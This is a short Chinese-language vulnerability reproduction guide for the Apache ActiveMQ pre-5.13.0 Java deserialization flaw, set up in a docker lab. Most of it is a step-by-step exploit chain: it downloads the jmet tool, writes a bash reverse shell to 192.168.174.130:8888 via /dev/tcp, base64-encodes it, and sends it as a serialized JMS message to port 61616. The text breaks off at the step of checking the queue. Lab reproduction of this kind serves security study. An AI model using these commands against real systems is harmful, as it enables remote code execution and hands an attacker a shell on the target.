漏洞前言:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码
漏洞复现
docker-compose up -d #启动环境
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口
利用过程:
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “执行的命令” -Yp ROME “ip地址” 61616
a.构成(使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标的61616端口
c.访问web管理页面,读取消息,触发漏洞
构造攻击消息
bash -i >& /dev/tcp/192.168.174.130/8888 0>&1
进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzAvODg4OCAwPiYxIAo=}|{base64,-d}|{bash,-i}
编码过后的命令通过jmet模块发送给靶机
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzAvODg4OCAwPiYxIAo=}|{base64,-d}|{bash,-i} -Yp ROME 192.168.174.130 61616
查看队列信息: